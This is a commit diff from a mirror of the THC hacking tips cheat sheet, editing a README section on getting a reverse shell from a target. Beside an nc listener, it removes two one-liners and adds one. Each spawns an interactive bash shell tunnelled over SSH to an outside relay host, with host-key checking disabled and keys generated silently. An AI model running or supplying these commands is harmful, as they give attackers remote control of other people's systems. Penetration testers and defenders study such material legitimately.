mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-08-17 22:17:11 +02:00
Update README.md
This commit is contained in:
@@ -969,9 +969,7 @@ nc -vnlp 8080
|
||||
On the target:
|
||||
```
|
||||
# First method:
|
||||
[ ! -f ~/.ssh/id_rsa ] && { mkdir -p ~/.ssh; ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa; }; rm -f /tmp/.p; mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
|
||||
# or an alternative method:
|
||||
bash -c '([ ! -f ~/.ssh/id_rsa ] && { mkdir -p ~/.ssh; ssh-keygen -t rsa -N "" -f ~/.ssh/id_rsa; }; ssh -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe; bash -i &>/dev/tcp/0/31338 0>&1 &)' &>/dev/null
|
||||
rm -f /tmp/.p /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r && mkfifo /tmp/.p && (bash -i</tmp/.p 2>1 |ssh -i /tmp/.r -o StrictHostKeyChecking=no -W uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 remote.moe>/tmp/.p &)
|
||||
```
|
||||
|
||||
<a id="reverse-shell-python"></a>
|
||||
|
||||
Reference in New Issue
Block a user